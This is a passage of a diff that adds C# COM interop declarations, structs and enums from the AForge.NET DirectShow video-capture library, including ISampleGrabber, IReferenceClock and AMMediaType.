/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int NewSegment(
|
||||
long start,
|
||||
long stop,
|
||||
double rate );
|
||||
}
|
||||
}
|
@ -0,0 +1,53 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
|
||||
/// which the object can persistently save its properties.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IPropertyBag
|
||||
{
|
||||
/// <summary>
|
||||
/// Read a property from property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
/// <param name="pErrorLog">Caller's error log.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Read(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||
[In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
|
||||
[In] IntPtr pErrorLog );
|
||||
|
||||
/// <summary>
|
||||
/// Write property to property bag.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="propertyName">Property name to read.</param>
|
||||
/// <param name="pVar">Property value.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Write(
|
||||
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
|
||||
[In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
|
||||
}
|
||||
}
|
@ -0,0 +1,87 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2010
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
// Written by Jeremy Noring
|
||||
// kidjan@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IReferenceClock interface provides the reference time for the filter graph.
|
||||
///
|
||||
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
|
||||
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
|
||||
/// retrieve the current reference time, or to request notification of an elapsed time.
|
||||
/// </summary>
|
||||
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||
Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IReferenceClock
|
||||
{
|
||||
/// <summary>
|
||||
/// The GetTime method retrieves the current reference time.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pTime">Pointer to a variable that receives the current time, in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetTime( [Out] out long pTime );
|
||||
|
||||
/// <summary>
|
||||
/// The AdviseTime method creates a one-shot advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="baseTime">Base reference time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="streamTime">Stream offset time, in 100-nanosecond units. See Remarks.</param>
|
||||
/// <param name="hEvent">Handle to an event, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdviseTime(
|
||||
[In] long baseTime,
|
||||
[In] long streamTime,
|
||||
[In] IntPtr hEvent,
|
||||
[Out] out int pdwAdviseCookie );
|
||||
|
||||
/// <summary>
|
||||
/// The AdvisePeriodic method creates a periodic advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="startTime">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>
|
||||
/// <param name="periodTime">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>
|
||||
/// <param name="hSemaphore">Handle to a semaphore, created by the caller.</param>
|
||||
/// <param name="pdwAdviseCookie">Pointer to a variable that receives an identifier for the advise request.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int AdvisePeriodic(
|
||||
[In] long startTime,
|
||||
[In] long periodTime,
|
||||
[In] IntPtr hSemaphore,
|
||||
[Out] out int pdwAdviseCookie );
|
||||
|
||||
/// <summary>
|
||||
/// The Unadvise method removes a pending advise request.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="dwAdviseCookie">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Unadvise( [In] int dwAdviseCookie );
|
||||
}
|
||||
}
|
@ -0,0 +1,103 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
|
||||
/// individual media samples as they move through the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabber
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies whether the filter should stop the graph after receiving one sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="oneShot">Boolean value specifying whether the filter should stop the graph after receiving one sample.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Specifies the required media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the media type for the connection on the Sample Grabber's input pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType"><see cref="AMMediaType"/> structure, which receives media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies whether to copy sample data into a buffer as it goes through the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferThem">Boolean value specifying whether to buffer sample data.
|
||||
/// If <b>true</b>, the filter copies sample data into an internal buffer.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a copy of the sample that the filter received most recently.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="bufferSize">Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.</param>
|
||||
/// <param name="buffer">Pointer to a buffer to receive a copy of the sample, or NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
|
||||
|
||||
/// <summary>
|
||||
/// Not currently implemented.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sample"></param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentSample( IntPtr sample );
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a callback method to call on incoming samples.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="callback"><see cref="ISampleGrabberCB"/> interface containing the callback method, or NULL to cancel the callback.</param>
|
||||
/// <param name="whichMethodToCallback">Index specifying the callback method.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
|
||||
}
|
||||
}
|
@ -0,0 +1,47 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface provides callback methods for the <see cref="ISampleGrabber.SetCallback"/> method.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
|
||||
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ISampleGrabberCB
|
||||
{
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the media sample.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="sample">Pointer to the sample's <b>IMediaSample</b> interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SampleCB( double sampleTime, IntPtr sample );
|
||||
|
||||
/// <summary>
|
||||
/// Callback method that receives a pointer to the sample bufferþ
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="sampleTime">Starting time of the sample, in seconds.</param>
|
||||
/// <param name="buffer">Pointer to a buffer that contains the sample data.</param>
|
||||
/// <param name="bufferLen">Length of the buffer pointed to by <b>buffer</b>, in bytes</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
|
||||
}
|
||||
}
|
@ -0,0 +1,36 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface indicates that an object supports property pages.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface ISpecifyPropertyPages
|
||||
{
|
||||
/// <summary>
|
||||
/// Fills a counted array of GUID values where each GUID specifies the
|
||||
/// CLSID of each property page that can be displayed in the property
|
||||
/// sheet for this object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pPages">Pointer to a CAUUID structure that must be initialized
|
||||
/// and filled before returning.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetPages( out CAUUID pPages );
|
||||
}
|
||||
}
|
@ -0,0 +1,518 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Drawing;
|
||||
|
||||
// PIN_DIRECTION
|
||||
|
||||
/// <summary>
|
||||
/// This enumeration indicates a pin's direction.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false )]
|
||||
internal enum PinDirection
|
||||
{
|
||||
/// <summary>
|
||||
/// Input pin.
|
||||
/// </summary>
|
||||
Input,
|
||||
|
||||
/// <summary>
|
||||
/// Output pin.
|
||||
/// </summary>
|
||||
Output
|
||||
}
|
||||
|
||||
// AM_MEDIA_TYPE
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the format of a media sample.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal class AMMediaType : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Globally unique identifier (GUID) that specifies the major type of the media sample.
|
||||
/// </summary>
|
||||
public Guid MajorType;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the subtype of the media sample.
|
||||
/// </summary>
|
||||
public Guid SubType;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are of a fixed size.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.Bool )]
|
||||
public bool FixedSizeSamples = true;
|
||||
|
||||
/// <summary>
|
||||
/// If <b>true</b>, samples are compressed using temporal (interframe) compression.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.Bool )]
|
||||
public bool TemporalCompression;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the sample in bytes. For compressed data, the value can be zero.
|
||||
/// </summary>
|
||||
public int SampleSize = 1;
|
||||
|
||||
/// <summary>
|
||||
/// GUID that specifies the structure used for the format block.
|
||||
/// </summary>
|
||||
public Guid FormatType;
|
||||
|
||||
/// <summary>
|
||||
/// Not used.
|
||||
/// </summary>
|
||||
public IntPtr unkPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Size of the format block, in bytes.
|
||||
/// </summary>
|
||||
public int FormatSize;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to the format block.
|
||||
/// </summary>
|
||||
public IntPtr FormatPtr;
|
||||
|
||||
/// <summary>
|
||||
/// Destroys the instance of the <see cref="AMMediaType"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
~AMMediaType( )
|
||||
{
|
||||
Dispose( false );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object.
|
||||
/// </summary>
|
||||
///
|
||||
public void Dispose( )
|
||||
{
|
||||
Dispose( true );
|
||||
// remove me from the Finalization queue
|
||||
GC.SuppressFinalize( this );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the object
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="disposing">Indicates if disposing was initiated manually.</param>
|
||||
///
|
||||
protected virtual void Dispose( bool disposing )
|
||||
{
|
||||
if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
|
||||
{
|
||||
Marshal.FreeCoTaskMem( FormatPtr );
|
||||
FormatSize = 0;
|
||||
}
|
||||
|
||||
if ( unkPtr != IntPtr.Zero )
|
||||
{
|
||||
Marshal.Release( unkPtr );
|
||||
unkPtr = IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// PIN_INFO
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about a pin.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||
internal struct PinInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Owning filter.
|
||||
/// </summary>
|
||||
public IBaseFilter Filter;
|
||||
|
||||
/// <summary>
|
||||
/// Direction of the pin.
|
||||
/// </summary>
|
||||
public PinDirection Direction;
|
||||
|
||||
/// <summary>
|
||||
/// Name of the pin.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||
public string Name;
|
||||
}
|
||||
|
||||
// FILTER_INFO
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
|
||||
internal struct FilterInfo
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter's name.
|
||||
/// </summary>
|
||||
[MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
|
||||
public string Name;
|
||||
|
||||
/// <summary>
|
||||
/// Owning graph.
|
||||
/// </summary>
|
||||
public IFilterGraph FilterGraph;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct VideoInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
// VIDEOINFOHEADER2
|
||||
|
||||
/// <summary>
|
||||
/// The structure describes the bitmap and color information for a video image (v2).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct VideoInfoHeader2
|
||||
{
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the source video window.
|
||||
/// </summary>
|
||||
public RECT SrcRect;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="RECT"/> structure that specifies the destination video window.
|
||||
/// </summary>
|
||||
public RECT TargetRect;
|
||||
|
||||
/// <summary>
|
||||
/// Approximate data rate of the video stream, in bits per second.
|
||||
/// </summary>
|
||||
public int BitRate;
|
||||
|
||||
/// <summary>
|
||||
/// Data error rate, in bit errors per second.
|
||||
/// </summary>
|
||||
public int BitErrorRate;
|
||||
|
||||
/// <summary>
|
||||
/// The desired average display time of the video frames, in 100-nanosecond units.
|
||||
/// </summary>
|
||||
public long AverageTimePerFrame;
|
||||
|
||||
/// <summary>
|
||||
/// Flags that specify how the video is interlaced.
|
||||
/// </summary>
|
||||
public int InterlaceFlags;
|
||||
|
||||
/// <summary>
|
||||
/// Flag set to indicate that the duplication of the stream should be restricted.
|
||||
/// </summary>
|
||||
public int CopyProtectFlags;
|
||||
|
||||
/// <summary>
|
||||
/// The X dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioX;
|
||||
|
||||
/// <summary>
|
||||
/// The Y dimension of picture aspect ratio.
|
||||
/// </summary>
|
||||
public int PictAspectRatioY;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved1;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
public int Reserved2;
|
||||
|
||||
/// <summary>
|
||||
/// <see cref="BitmapInfoHeader"/> structure that contains color and dimension information for the video image bitmap.
|
||||
/// </summary>
|
||||
public BitmapInfoHeader BmiHeader;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential, Pack = 2 )]
|
||||
internal struct BitmapInfoHeader
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the number of bytes required by the structure.
|
||||
/// </summary>
|
||||
public int Size;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the width of the bitmap.
|
||||
/// </summary>
|
||||
public int Width;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the height of the bitmap, in pixels.
|
||||
/// </summary>
|
||||
public int Height;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of planes for the target device. This value must be set to 1.
|
||||
/// </summary>
|
||||
public short Planes;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of bits per pixel.
|
||||
/// </summary>
|
||||
public short BitCount;
|
||||
|
||||
/// <summary>
|
||||
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
|
||||
/// </summary>
|
||||
public int Compression;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the size, in bytes, of the image.
|
||||
/// </summary>
|
||||
public int ImageSize;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int XPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
|
||||
/// </summary>
|
||||
public int YPelsPerMeter;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsUsed;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the number of color indices that are considered important for displaying the bitmap.
|
||||
/// </summary>
|
||||
public int ColorsImportant;
|
||||
}
|
||||
|
||||
// RECT
|
||||
|
||||
/// <summary>
|
||||
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct RECT
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Left;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Top;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Right;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
|
||||
/// </summary>
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
// CAUUID
|
||||
|
||||
/// <summary>
|
||||
/// The CAUUID structure is a Counted Array of UUID or GUID types.
|
||||
/// </summary>
|
||||
///
|
||||
[ComVisible( false ),
|
||||
StructLayout( LayoutKind.Sequential )]
|
||||
internal struct CAUUID
|
||||
{
|
||||
/// <summary>
|
||||
/// Size of the array pointed to by <b>pElems</b>.
|
||||
/// </summary>
|
||||
public int cElems;
|
||||
|
||||
/// <summary>
|
||||
/// Pointer to an array of UUID values, each of which specifies UUID.
|
||||
/// </summary>
|
||||
public IntPtr pElems;
|
||||
|
||||
/// <summary>
|
||||
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>A managed representation of <b>pElems</b>.</returns>
|
||||
///
|
||||
public Guid[] ToGuidArray( )
|
||||
{
|
||||
Guid[] retval = new Guid[cElems];
|
||||
|
||||
for ( int i = 0; i < cElems; i++ )
|
||||
{
|
||||
IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
|
||||
retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
|
||||
}
|
||||
|
||||
return retval;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Enumeration of DirectShow event codes.
|
||||
/// </summary>
|
||||
internal enum DsEvCode
|
||||
{
|
||||
None,
|
||||
Complete = 0x01, // EC_COMPLETE
|
||||
DeviceLost = 0x1F, // EC_DEVICE_LOST
|
||||
//(...) not yet interested in other events
|
||||
}
|
||||
|
||||
[Flags, ComVisible( false )]
|
||||
internal enum AnalogVideoStandard
|
||||
{
|
||||
None = 0x00000000, // This is a digital sensor
|
||||
NTSC_M = 0x00000001, // 75 IRE Setup
|
||||
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
|
||||
NTSC_433 = 0x00000004,
|
||||
PAL_B = 0x00000010,
|
||||
PAL_D = 0x00000020,
|
||||
PAL_G = 0x00000040,
|
||||
PAL_H = 0x00000080,
|
||||
PAL_I = 0x00000100,
|
||||
PAL_M = 0x00000200,
|
||||
PAL_N = 0x00000400,
|
||||
PAL_60 = 0x00000800,
|
||||
SECAM_B = 0x00001000,
|
||||
SECAM_D = 0x00002000,
|
||||
SECAM_G = 0x00004000,
|
||||
SECAM_H = 0x00008000,
|
||||
SECAM_K = 0x00010000,
|
||||
SECAM_K1 = 0x00020000,
|
||||
SECAM_L = 0x00040000,
|
||||
SECAM_L1 = 0x00080000,
|
||||
PAL_N_COMBO = 0x00100000 // Argentina
|
||||
}
|
||||
|
||||
[Flags, ComVisible( false )]
|
||||
internal enum VideoControlFlags
|
||||
{
|
||||
FlipHorizontal = 0x0001,
|
||||
FlipVertical = 0x0002,
|
||||
ExternalTriggerEnable = 0x0004,
|
||||
Trigger = 0x0008
|
||||
}
|
||||
|
||||
[StructLayout( LayoutKind.Sequential ), ComVisible( false )]
|
||||
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
|
||||
{
|
||||
public Guid Guid;
|
||||
public AnalogVideoStandard VideoStandard;
|
||||
public Size InputSize;
|
||||
public Size MinCroppingSize;
|
||||
public Size MaxCroppingSize;
|
||||
public int CropGranularityX;
|
||||
public int CropGranularityY;
|
||||
public int CropAlignX;
|
||||
public int CropAlignY;
|
||||
public Size MinOutputSize;
|
||||
public Size MaxOutputSize;
|
||||
public int OutputGranularityX;
|
||||
public int OutputGranularityY;
|
||||
public int StretchTapsX;
|
||||
public int StretchTapsY;
|
||||
public int ShrinkTapsX;
|
||||
public int ShrinkTapsY;
|
||||
public long MinFrameInterval;
|
||||
public long MaxFrameInterval;
|
||||
public int MinBitsPerSecond;
|
||||
public int MaxBitsPerSecond;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a filter's state or the state of the filter graph.
|
||||
/// </summary>
|
||||
internal enum FilterState
|
||||
{
|
||||
/// <summary>
|
||||
/// Stopped. The filter is not processing data.
|
||||
/// </summary>
|
||||
State_Stopped,
|
||||
|
||||
/// <summary>
|
||||
/// Paused. The filter is processing data, but not rendering it.
|
||||
/// </summary>
|
||||
State_Paused,
|
||||
|
||||
/// <summary>
|
||||
/// Running. The filter is processing and rendering data.
|
||||
/// </summary>
|
||||
State_Running
|
||||
}
|
||||
}
|
@ -0,0 +1,299 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow class IDs.
|
||||
/// </summary>
|
||||
[ComVisible( false )]
|
||||
static internal class Clsid
|
||||
{
|
||||
/// <summary>
|
||||
/// System device enumerator.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
|
||||
///
|
||||
public static readonly Guid SystemDeviceEnum =
|
||||
new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||
|
||||
/// <summary>
|
||||
/// Filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
|
||||
///
|
||||
public static readonly Guid FilterGraph =
|
||||
new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||
|
||||
/// <summary>
|
||||
/// Sample grabber.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
|
||||
///
|
||||
public static readonly Guid SampleGrabber =
|
||||
new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
|
||||
|
||||
/// <summary>
|
||||
/// Capture graph builder.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
|
||||
///
|
||||
public static readonly Guid CaptureGraphBuilder2 =
|
||||
